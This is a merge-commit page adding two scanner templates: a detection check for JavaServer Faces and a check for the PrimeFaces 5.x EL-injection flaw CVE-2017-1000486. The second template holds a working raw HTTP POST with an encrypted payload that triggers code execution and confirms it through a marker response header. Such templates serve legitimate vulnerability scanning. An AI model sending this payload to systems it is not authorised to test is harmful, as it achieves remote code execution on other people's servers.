Merge pull request #1543 from Morn98/CVE-2017-1000486
Add detection for JavaServer Faces and detection for vulnerable PrimeFaces 5.x EL Injection (CVE 2017 1000486)patch-1
commit
707d6720d1
|
@ -0,0 +1,33 @@
|
|||
id: CVE-2017-1000486
|
||||
|
||||
info:
|
||||
name: Primetek Primefaces 5.x EL Injection - RCE
|
||||
author: Moritz Nentwig
|
||||
severity: critical
|
||||
description: Primetek Primefaces 5.x is vulnerable to a weak encryption flaw resulting in remote code execution
|
||||
reference: |
|
||||
- https://github.com/mogwailabs/CVE-2017-1000486
|
||||
- https://github.com/pimps/CVE-2017-1000486
|
||||
- https://blog.mindedsecurity.com/2016/02/rce-in-oracle-netbeans-opensource.html
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2017-1000486
|
||||
tags: cve,cve2017,primetek,rce
|
||||
|
||||
requests:
|
||||
- raw:
|
||||
- |
|
||||
POST /javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Connection: close
|
||||
Content-Length: 160
|
||||
Accept: */*
|
||||
Accept-Language: en
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Accept-Encoding: gzip, deflate
|
||||
|
||||
pfdrt=sc&ln=primefaces&pfdrid=uMKljPgnOTVxmOB%2BH6%2FQEPW9ghJMGL3PRdkfmbiiPkUDzOAoSQnmBt4dYyjvjGhVbBkVHj5xLXXCaFGpOHe704aOkNwaB12Cc3Iq6NmBo%2BQZuqhqtPxdTA%3D%3D
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- 'Mogwailabs: CHECKCHECK'
|
||||
part: header
|
|
@ -0,0 +1,22 @@
|
|||
id: jsf-detection
|
||||
|
||||
info:
|
||||
name: JavaServer Faces Detection
|
||||
author: Moritz Nentwig
|
||||
severity: info
|
||||
description: Searches for JavaServer Faces content on a URL.
|
||||
tags: jsf,tech
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}"
|
||||
|
||||
redirects: true
|
||||
max-redirects: 2
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "javax.faces.resource"
|
||||
- "javax.faces.ViewState"
|
||||
condition: or
|
Loading…
Reference in New Issue